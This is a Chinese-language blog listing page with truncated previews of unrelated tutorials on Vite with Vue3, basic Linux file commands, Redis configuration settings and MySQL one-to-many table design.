在当今前端开发的领域里&#xff0c;快速、高效的项目构建工具以及使用最新技术栈是非常关键的。ViteVue3 组合为一体的项目实战示例专栏将带领你深入了解和掌握这一最新的前端开发工具和框架。 作为下一代前端构建工具&#xff0c;Vite 在开发中的启动速度和热重载方面具有突…

【运维小知识】(四)——linux常用命令

运维专栏&#xff1a;运维小知识 目录 1.&#x1f341;&#x1f341;用mv命令修改文件名 2.&#x1f343;&#x1f343;创建及删除文件夹即文件夹下所有文件 3.&#x1f342;&#x1f342;移动文件夹并重命名 4.&#x1f33f;&#x1f33f;复制文件 5.&#x1f344;&#x…

Redis相关配置(3)

⭐ 作者简介&#xff1a;码上言 ⭐ 代表教程&#xff1a;Spring Boot vue-element 开发个人博客项目实战教程 ⭐专栏内容&#xff1a;个人博客系统 ⭐我的文档网站&#xff1a;http://xyhwh-nav.cn/ 文章目录 Redis相关配置1、units2、Include3、loadmodule 加载模块4、NET…

MySQL-多表设计-一对多

多表的设计-概述 项目开发中&#xff0c;在进行数据库表结构设计时&#xff0c;会根据业务需求及业务模块之间的关系&#xff0c;分析并设计表结构&#xff0c;由于业务之间相互关联&#xff0c;所以各个表结构之间也存在着各种联系&#xff0c;基本上分为三种&#xff1a; 一…